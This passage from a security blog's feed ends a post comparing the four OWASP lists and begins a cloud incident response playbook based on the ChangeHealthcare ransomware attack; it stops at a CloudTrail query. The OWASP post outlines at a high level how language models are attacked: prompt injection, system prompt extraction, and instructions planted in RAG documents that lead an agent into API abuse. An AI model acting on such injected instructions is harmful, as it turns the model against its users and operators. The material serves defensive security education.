  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/owasp-top-10-history-evolution/">OWASP Top 10 History</a> → <strong>The Four OWASP Lists</strong> → <a href="/llm-security-risks-owasp/">Why Classic OWASP Breaks for LLMs</a> → <a href="/owasp-llm-top-10-2025/">OWASP LLM Top 10 2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>OWASP LLM Top 10 vs OWASP Top 10</strong>: four separate lists, four separate attack surfaces — they share underlying failure classes but differ entirely in what the attacker actually does</li>
<li>If your system has a web frontend: Web App Top 10 (2021) applies</li>
<li>If your system exposes REST or GraphQL APIs: API Security Top 10 (2023) applies</li>
<li>If your workloads run on Kubernetes or containers: Cloud-Native App Security Top 10 applies</li>
<li>If your system includes an LLM component — even a third-party API call: LLM Top 10 (2025) applies</li>
<li>A RAG-based chatbot deployed on Kubernetes behind an API gateway touches all four lists simultaneously — and the attack paths at each layer are different</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Orientation episode. This post maps all four OWASP lists to their respective attack surfaces. Subsequent episodes (EP05–EP14) cover each OWASP LLM Top 10 category in depth with Red/Detect/Defend structure.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">WHICH OWASP LIST APPLIES TO YOUR ARCHITECTURE?

Your system component          Applicable OWASP List
──────────────────────────────────────────────────────
Web frontend / rendered HTML   Web App Top 10 (2021)
  └─ XSS, CSRF, clickjacking
  └─ Broken auth, session mgmt

REST/GraphQL API endpoint      API Security Top 10 (2023)
  └─ BOLA/IDOR, mass assignment
  └─ Excessive data exposure
  └─ Unrestricted resource use

Container / Kubernetes workload  Cloud-Native App Sec Top 10
  └─ Misconfigured workloads    (+ Purple Team series)
  └─ Vulnerable images
  └─ Runtime compromise

LLM / AI component             LLM Applications Top 10 (2025)
  └─ Prompt injection          ← this series
  └─ Model/data poisoning
  └─ RAG attacks, agent risks

──────────────────────────────────────────────────────
A single RAG chatbot on K8s behind an API gateway
touches ALL FOUR LISTS at the same time.
</code></pre>
<p><strong>If you are deploying an LLM in production, all four lists apply.</strong> The question is not which one to use — it&#8217;s which part of your system falls under which list, and whether your security coverage has gaps between them.</p>
<hr />
<h2 id="the-web-app-top-10-2021-the-baseline">The Web App Top 10 (2021): The Baseline</h2>
<p>The original list. Covers HTTP-layer attacks on applications that serve content or handle user sessions.</p>
<p><strong>What it addresses:</strong> Cross-site scripting, SQL injection, broken session management, insecure design at the application layer, misconfigured servers, vulnerable dependencies, server-side request forgery.</p>
<p><strong>What it does not address:</strong> How an API client authenticates without a user session. How a Kubernetes workload is compromised at runtime. How an LLM misinterprets user input as an instruction. The 2021 list is the floor — it&#8217;s the minimum security bar for anything web-facing.</p>
<p><strong>Primary tool class:</strong> DAST (Dynamic Application Security Testing) — OWASP ZAP, Burp Suite. SAST for source-level issues.</p>
<p><strong>When this applies to your LLM system:</strong> The web frontend that wraps your chatbot. The admin UI for your AI pipeline. Any HTTP-facing surface — even if the backend is entirely LLM-powered.</p>
<hr />
<h2 id="the-api-security-top-10-2023-the-api-layer">The API Security Top 10 (2023): The API Layer</h2>
<p>REST and GraphQL introduced attack surfaces that the web app list missed. The API Security Top 10 was published in 2019 and updated in 2023 precisely because API-specific attacks were not adequately covered.</p>
<p><strong>Top categories:</strong><br />
&#8211; <strong>API1: Broken Object Level Authorization (BOLA/IDOR)</strong> — the most prevalent API vulnerability; accessing other users&#8217; resources by changing an ID in the request<br />
&#8211; <strong>API3: Broken Object Property Level Authorization</strong> — returning or accepting more data than the authenticated principal should see (replaces &#8220;Excessive Data Exposure&#8221; from 2019)<br />
&#8211; <strong>API4: Unrestricted Resource Consumption</strong> — rate limiting gaps that enable abuse or DoS via API<br />
&#8211; <strong>API6: Unrestricted Access to Sensitive Business Flows</strong> — no concept of &#8220;business logic&#8221; in the web app list; APIs expose workflows directly</p>
<p><strong>What it does not address:</strong> Model-level behavior. Training-time attacks. Natural language injection. The API Security list treats the model as a black box behind an endpoint.</p>
<p><strong>Why it matters for LLM systems:</strong> Your LLM is almost certainly accessed via an API — either a first-party API you built or a third-party API (OpenAI, Anthropic, Bedrock) you call. The API Security list covers that integration layer. An attacker who exploits BOLA against your API doesn&#8217;t need to understand prompt injection — they just need to change a user ID in the request.</p>
<hr />
<h2 id="the-cloud-native-app-security-top-10-the-infrastructure-layer">The Cloud-Native App Security Top 10: The Infrastructure Layer</h2>
<p>Containers, Kubernetes, microservices, and cloud-managed services introduced an orchestration layer that neither the web app list nor the API list covered.</p>
<p><strong>Scope:</strong> Insecure workload configurations, insufficient network segmentation between microservices, vulnerable or unverified container images, over-permissioned service accounts, exposed cluster management interfaces.</p>
<p><strong>What it does not address:</strong> What runs inside the container. If that container runs an LLM, the model&#8217;s behavior — prompt injection, system prompt leakage, RAG poisoning — is outside the cloud-native list&#8217;s scope.</p>
<p><strong>Why it matters for LLM systems:</strong> LLM inference runs on infrastructure. If the pod running your model inference has an over-permissioned service account, an attacker who exploits the model doesn&#8217;t need to do anything sophisticated — they can use the pod&#8217;s IAM permissions to move laterally. The LLM is the initial access vector; the cloud-native misconfig is the blast radius.</p>
<p>For depth on cloud-native OWASP mapping, see <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> in the Purple Team series. This episode covers the concept; that series covers the attack paths.</p>
<hr />
<h2 id="the-llm-applications-top-10-2025-the-model-layer">The LLM Applications Top 10 (2025): The Model Layer</h2>
<p>The attack surface that exists <em>because</em> of the model — not at the web layer, not at the API layer, not at the infrastructure layer, but in the probabilistic behavior of the language model itself and the systems it connects to.</p>
<p><strong>The 10 categories:</strong></p>
<table>
<thead>
<tr>
<th>#</th>
<th>Category</th>
<th>What It Covers</th>
</tr>
</thead>
<tbody>
<tr>
<td>LLM01</td>
<td>Prompt Injection</td>
<td>Attacker input hijacks model behavior — direct or via retrieved content</td>
</tr>
<tr>
<td>LLM02</td>
<td>Sensitive Information Disclosure</td>
<td>Model leaks training data, PII, API keys, system prompts via output</td>
</tr>
<tr>
<td>LLM03</td>
<td>Supply Chain</td>
<td>Compromised model weights, plugins, datasets, or fine-tuning pipelines</td>
</tr>
<tr>
<td>LLM04</td>
<td>Data and Model Poisoning</td>
<td>Training or fine-tuning data manipulated to introduce backdoors</td>
</tr>
<tr>
<td>LLM05</td>
<td>Improper Output Handling</td>
<td>Downstream systems consume model output without validation</td>
</tr>
<tr>
<td>LLM06</td>
<td>Excessive Agency</td>
<td>Autonomous agent tools not scoped to least capability</td>
</tr>
<tr>
<td>LLM07</td>
<td>System Prompt Leakage</td>
<td>Extraction of hidden system prompt instructions</td>
</tr>
<tr>
<td>LLM08</td>
<td>Vector and Embedding Weaknesses</td>
<td>RAG vector store poisoning or access control gaps</td>
</tr>
<tr>
<td>LLM09</td>
<td>Misinformation</td>
<td>Model generates false information presented as fact</td>
</tr>
<tr>
<td>LLM10</td>
<td>Unbounded Consumption</td>
<td>Uncontrolled token, compute, or API cost consumption</td>
</tr>
</tbody>
</table>
<p><strong>What this list does not cover:</strong> The API through which you call the model (that&#8217;s the API Security list). The Kubernetes workload running the inference server (that&#8217;s the cloud-native list). The web UI that wraps the chatbot (that&#8217;s the web app list). The LLM Top 10 is specifically the model-layer attack surface.</p>
<hr />
<h2 id="injection-across-all-four-lists-a-comparison">Injection Across All Four Lists: A Comparison</h2>
<p>&#8220;Injection&#8221; appears in all four lists. The word is the same. The attack is completely different.</p>
<table>
<thead>
<tr>
<th>List</th>
<th>Category</th>
<th>Injection Type</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web App</td>
<td>A03 Injection</td>
<td>SQL, OS commands, LDAP — structured language injected via HTTP input</td>
<td>Parameterized queries, input validation, prepared statements</td>
</tr>
<tr>
<td>API Security</td>
<td>API8 Security Misconfiguration</td>
<td>Mass assignment / property injection — attacker sets fields that should not be writable</td>
<td>Input allowlisting, schema validation, explicit field binding</td>
</tr>
<tr>
<td>Cloud-Native</td>
<td>C4 Insecure Workload Config</td>
<td>Environment variable / config injection — attacker controls what gets injected into container at start</td>
<td>Immutable config, sealed secrets, workload admission control</td>
</tr>
<tr>
<td>LLM Applications</td>
<td>LLM01 Prompt Injection</td>
<td>Natural language injected into model context — attacker controls what the model interprets as instruction</td>
<td>No structural equivalent; requires guardrails, intent classification, output scanning</td>
</tr>
</tbody>
</table>
<p>The web app defense (parameterized queries) works because you can structurally separate data from code. SQL parsers don&#8217;t execute string literals as SQL commands. The LLM defense is fundamentally different because the model has no structural boundary between &#8220;user data&#8221; and &#8220;instruction.&#8221; Natural language IS the programming language. This is why LLM01 remains the most exploited category and the most difficult to remediate — not because engineers aren&#8217;t trying, but because the separation that makes SQL injection solvable doesn&#8217;t exist in natural language processing.</p>
<hr />
<h2 id="architecture-coverage-map-rag-chatbot-on-kubernetes">Architecture Coverage Map: RAG Chatbot on Kubernetes</h2>
<p>Take a concrete system: a customer-facing RAG chatbot deployed on Kubernetes, calling an external LLM API, indexing internal documents in a vector database, with a React frontend and a FastAPI backend.</p>
<pre><code class="" data-line="">ATTACK SURFACE MAP

React Frontend            ← Web App Top 10
  └─ XSS, CSRF, clickjacking
  └─ Broken auth (session management)

FastAPI Backend (REST)    ← API Security Top 10
  └─ BOLA: can user A retrieve user B&#039;s documents?
  └─ Excessive data exposure in API responses
  └─ Rate limiting on LLM API calls

Kubernetes Cluster        ← Cloud-Native Top 10
  └─ Service account permissions on vector DB pod
  └─ Container image vulnerabilities
  └─ Network policy: can inference pod call anything?

LLM Component             ← LLM Applications Top 10
  └─ Prompt injection via user input (LLM01)
  └─ System prompt leakage (LLM07)
  └─ Vector DB poisoning via document upload (LLM08)
  └─ Agent over-permission on retrieval tools (LLM06)
  └─ Sensitive data in indexed documents leaks (LLM02)

GAPS (attack paths that cross list boundaries):
  Injected prompt → agent calls API endpoint → BOLA
  Compromised K8s service account → access vector DB → LLM08
  XSS on frontend → steal session → BOLA on document retrieval
</code></pre>
<p>The most dangerous attack paths cross list boundaries. An attacker who injects a prompt (LLM01) that causes an agent to call an API endpoint (API Security Top 10) that has a BOLA vulnerability is exploiting two separate OWASP lists in a single attack chain. Security reviews that only audit against one list miss these compound paths.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Auditing against one list and calling it done</strong><br />
Security teams often run DAST against the web layer and consider the application &#8220;OWASP covered.&#8221; If the application includes an LLM component, a vector database, and a Kubernetes deployment, the DAST scan covered at most 25% of the attack surface. Multi-list auditing is not a luxury — it&#8217;s the correct scope.</p>
<p><strong>Assuming the LLM provider handles LLM security</strong><br />
OpenAI, Anthropic, AWS Bedrock — these providers harden their infrastructure. They do not control how you construct prompts, what you put in your system prompt, how you scope your agent&#8217;s tool access, or what you index in your vector store. LLM01 through LLM10 are almost entirely in your application&#8217;s scope, not the provider&#8217;s.</p>
<p><strong>Treating RAG retrieval as a read-only, safe operation</strong><br />
Retrieval augmented generation adds a retrieval step that fetches content from a vector database to augment the model&#8217;s context. That retrieved content is trusted by the model — it treats it as authoritative context, not as potentially hostile user input. If an attacker can control what gets indexed (document upload, web crawl), they can inject instructions into retrieved content that the model will execute. This is LLM08 (Vector/Embedding Weaknesses) combined with LLM01 (indirect prompt injection). It is one of the most exploited compound paths in production LLM systems today.</p>
<hr />
<h2 id="quick-reference-four-list-matrix">Quick Reference: Four-List Matrix</h2>
<table>
<thead>
<tr>
<th></th>
<th>Web App (2021)</th>
<th>API Security (2023)</th>
<th>Cloud-Native</th>
<th>LLM Apps (2025)</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Surface</strong></td>
<td>HTTP/rendered UI</td>
<td>REST/GraphQL endpoints</td>
<td>K8s/containers</td>
<td>Model behavior, RAG, agents</td>
</tr>
<tr>
<td><strong>Primary attacker</strong></td>
<td>Browser/web client</td>
<td>API consumer</td>
<td>Cluster access</td>
<td>LLM user/document uploader</td>
</tr>
<tr>
<td><strong>Top risk</strong></td>
<td>Broken access control</td>
<td>BOLA/IDOR</td>
<td>Misconfigured workloads</td>
<td>Prompt injection</td>
</tr>
<tr>
<td><strong>Key defense</strong></td>
<td>Input validation, RBAC</td>
<td>Object-level authz</td>
<td>Admission control, network policy</td>
<td>Guardrails, output scanning</td>
</tr>
<tr>
<td><strong>Primary test tool</strong></td>
<td>OWASP ZAP / Burp</td>
<td>Postman + custom scripts</td>
<td>Trivy, Checkov, kube-bench</td>
<td>Garak, PyRIT, Promptfoo</td>
</tr>
<tr>
<td><strong>Compliance tie-in</strong></td>
<td>PCI DSS, HIPAA</td>
<td>API gateway policies</td>
<td>CIS K8s Benchmark</td>
<td>NIST AI RMF, ISO 42001, EU AI Act</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Relevant Requirement</th>
<th>Connection</th>
</tr>
</thead>
<tbody>
<tr>
<td>NIST AI RMF</td>
<td>MAP 1.5 (identify applicable risk categories)</td>
<td>Use all four lists to scope the risk surface before mapping to NIST categories</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>A.8.25 (secure development lifecycle)</td>
<td>Multi-list OWASP coverage maps directly to application security requirements across the SDLC</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1 (logical access controls)</td>
<td>BOLA (API list) and broken access control (web app list) are the primary controls relevant to SOC 2 evidence</td>
</tr>
<tr>
<td>EU AI Act</td>
<td>Art. 9 (risk management)</td>
<td>High-risk AI system assessments must address model-layer risks (LLM list) in addition to infrastructure-layer controls</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Four OWASP lists exist in 2025; which one applies depends on which component of your architecture you are assessing — most production LLM systems are in scope for all four</li>
<li>The word &#8220;injection&#8221; appears in all four lists; the technique and the defense are completely different in each</li>
<li>RAG-based applications are particularly exposed to compound attack paths that cross list boundaries — a single exploit chain can touch LLM01, LLM08, and API BOLA in sequence</li>
<li>Security reviews scoped to one OWASP list on a multi-layer system leave architectural gaps; the attack paths that matter often run between the lists</li>
<li>LLM providers handle model infrastructure security; your application&#8217;s scope includes everything from how you construct prompts to what you put in the vector store</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>The next episode is the bridge. Four lists exist, but the LLM list is not just &#8220;web app security applied to models.&#8221; The three classic OWASP assumptions — deterministic behavior, parseable input, enumerable permissions — break down entirely when the application is a language model. Understanding why changes how you approach everything in Parts II and III.</p>
<p><a href="/llm-security-risks-owasp/">Why Classic OWASP Breaks Down for LLMs: The New Attack Surface →</a></p>
<p>Get EP03 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe/">subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&amp;linkname=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fowasp-llm-top-10-vs-owasp-top-10%2F&#038;title=The%20Four%20OWASP%20Lists%3A%20Web%20App%2C%20API%2C%20Cloud-Native%2C%20and%20LLM%20Compared" data-a2a-url="https://linuxcent.com/owasp-llm-top-10-vs-owasp-top-10/" data-a2a-title="The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared"></a></p><p>The post <a href="https://linuxcent.com/owasp-llm-top-10-vs-owasp-top-10/">The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/owasp-llm-top-10-vs-owasp-top-10/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2213</post-id>	</item>
		<item>
		<title>Cloud Incident Response Playbook: First 24 Hours After a Breach</title>
		<link>https://linuxcent.com/cloud-incident-response-playbook-24-hours/</link>
					<comments>https://linuxcent.com/cloud-incident-response-playbook-24-hours/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 08 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[ChangeHealthcare]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[Ransomware]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1876</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud incident response: the first 24 hours determine whether ransomware becomes a data breach. The ChangeHealthcare playbook — what to isolate, what to preserve, what to communicate.</p>
<p>The post <a href="https://linuxcent.com/cloud-incident-response-playbook-24-hours/">Cloud Incident Response Playbook: First 24 Hours After a Breach</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 15</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam/">Cloud lateral movement IAM</a> → <a href="/detection-engineering-ebpf-cloud/">Detection engineering with eBPF</a> → <strong>Cloud Incident Response Playbook</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> is not documentation you write after a breach — it is the executable sequence your team runs in the first 24 hours, rehearsed before the breach happens</li>
<li>The ChangeHealthcare attack (February 2024) disrupted $22 billion in medical claims processing and exposed 190 million Americans&#8217; health data; the initial vector was a single set of stolen credentials and a Citrix portal with no MFA</li>
<li>Hours 0–1: declare the incident immediately, scope the blast radius, and start querying CloudTrail — do not investigate quietly</li>
<li>Hours 1–4: contain by revoking credentials and isolating infrastructure, but preserve evidence before any remediation — forensic snapshots and log exports before terminating anything</li>
<li>Hours 4–12: trace lateral movement via AssumeRole chains, identify persistence mechanisms (new IAM users/roles, Lambda backdoors, modified images), and confirm the full data access scope</li>
<li>Hours 12–24: eradicate from known-good baselines, not by patching compromised instances; recover dev → staging → prod; trigger regulatory notification timers</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Cross-cutting — incident response is not mapped to a single OWASP category because a breach can enter through any of them. IR quality is the backstop when prevention fails across A01 (broken access control), A07 (authentication failures), A08 (supply chain), and every other vector. The 24-hour window covered here applies regardless of initial entry point.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│            CLOUD INCIDENT RESPONSE: THE 24-HOUR SEQUENCE                │
│                                                                         │
│  ALERT                                                                  │
│    GuardDuty / Falco / anomaly detection fires                          │
│    ↓                                                                    │
│  TRIAGE  [0–1h]                                                         │
│    Declare incident → scope blast radius → open incident channel        │
│    Is the attacker still active? What data is at risk?                  │
│    ↓                                                                    │
│  CONTAIN  [1–4h]                                                        │
│    Revoke credentials → isolate compute → cordon K8s nodes             │
│    !! Do NOT terminate instances before snapshot !!                     │
│    ↓                                                                    │
│  PRESERVE  [1–4h, parallel with contain]                                │
│    EBS snapshots → CloudTrail log export → VPC Flow export              │
│    Forensic copy before any remediation changes the system state        │
│    ↓                                                                    │
│  INVESTIGATE  [4–12h]                                                   │
│    AssumeRole chain analysis → data access scope → persistence hunt     │
│    eBPF/Falco/Tetragon evidence if available (see EP11)                 │
│    ↓                                                                    │
│  ERADICATE  [12–24h]                                                    │
│    Remove persistence → rotate ALL credentials in blast radius          │
│    Replace compromised instances from known-good hardened AMI           │
│    ↓                                                                    │
│  RECOVER  [12–24h]                                                      │
│    dev → staging → prod sequence. Never prod-first.                     │
│    Verify monitoring before declaring all-clear                         │
│    ↓                                                                    │
│  LEARN                                                                  │
│    Post-incident review → timeline → regulatory notifications           │
│    Update playbook before the next incident                             │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>A <strong>cloud incident response playbook</strong> that exists only as a document is not an incident response capability. The sequence above is only useful if your team has rehearsed it — run it as a tabletop, run it in a chaos exercise, run it on a simulated breach in a non-prod account. The first time through this sequence should not be during an actual breach.</p>
<hr />
<h2 id="the-incident-changehealthcare-february-2024">The Incident: ChangeHealthcare (February 2024)</h2>
<p>On February 21, 2024, ransomware attacked Change Healthcare, a UnitedHealth Group subsidiary that processes roughly 50% of US medical claims. By the time containment completed, the damage was:</p>
<ul>
<li><strong>$22 billion</strong> in medical claims processing disrupted</li>
<li><strong>190 million</strong> Americans&#8217; health data potentially exposed</li>
<li>Hospitals unable to process insurance claims for weeks — some faced payroll crises because they couldn&#8217;t get reimbursed for care already delivered</li>
<li>A $22 million ransom paid to ALPHV/BlackCat, followed by ALPHV exit-scamming the affiliate (keeping the ransom), followed by RansomHub re-extorting with the same data</li>
</ul>
<p>The initial vector: a Citrix remote access portal with no MFA enforced. A single set of stolen credentials. That&#8217;s it.</p>
<p>What made the outcome as severe as it was: the attackers had nine days of dwell time before the ransomware detonated. Nine days of lateral movement, data staging, and backup discovery before the explosion. The first 24 hours after detection determine whether you contain an intrusion or respond to a full-scale breach. The ChangeHealthcare team was responding to a full-scale breach because the first 24 hours happened nine days before anyone knew there was an incident.</p>
<p>There is an inverse relationship between incident response quality and preparation investment. Teams that contain in four hours practiced containing in four hours. Teams that discover they have no forensic evidence discover that during the investigation, not before it.</p>
<hr />
<h2 id="hour-01-detect-and-declare">Hour 0–1: Detect and Declare</h2>
<h3 id="step-1-declare-do-not-investigate-quietly">Step 1: Declare — Do Not Investigate Quietly</h3>
<p>The instinct when something looks suspicious is to investigate before escalating. That instinct is wrong in cloud incidents. Every minute of quiet investigation is a minute the attacker may be escalating privileges, staging data, or discovering your backups.</p>
<p>Declare the incident immediately. The threshold for declaration is suspicion, not confirmation.</p>
<p><strong>Who to notify in the first 15 minutes:</strong><br />
&#8211; CISO (or on-call security lead)<br />
&#8211; Legal counsel (regulatory clock starts now; you need legal involved from minute one)<br />
&#8211; On-call SRE lead (you will need infrastructure access)<br />
&#8211; Communications lead (if external-facing systems are involved)</p>
<p><strong>Operational setup:</strong><br />
1. Create a dedicated incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-brief-descriptor</code><br />
2. Start an incident log — a shared doc, timestamped, with every action taken and by whom. This becomes your evidence log and your regulatory submission document.<br />
3. Assign a scribe. The incident commander should not also be taking notes.</p>
<h3 id="step-2-scope-the-blast-radius">Step 2: Scope the Blast Radius</h3>
<p>Before touching anything, answer three questions:</p>
<ol>
<li><strong>Is the attacker still active?</strong> (Is this ongoing or historical?)</li>
<li><strong>What is the potential blast radius?</strong> (Which accounts, regions, services, principals are in scope?)</li>
<li><strong>What data is at risk?</strong> (PII, credentials, intellectual property, PHI/PII with regulatory implications?)</li>
</ol>
<h3 id="step-3-initial-cloudtrail-query">Step 3: Initial CloudTrail Query</h3>
<pre><code class="" data-line=""># Run this before touching anything — you want a clean baseline
aws cloudtrail lookup-events \
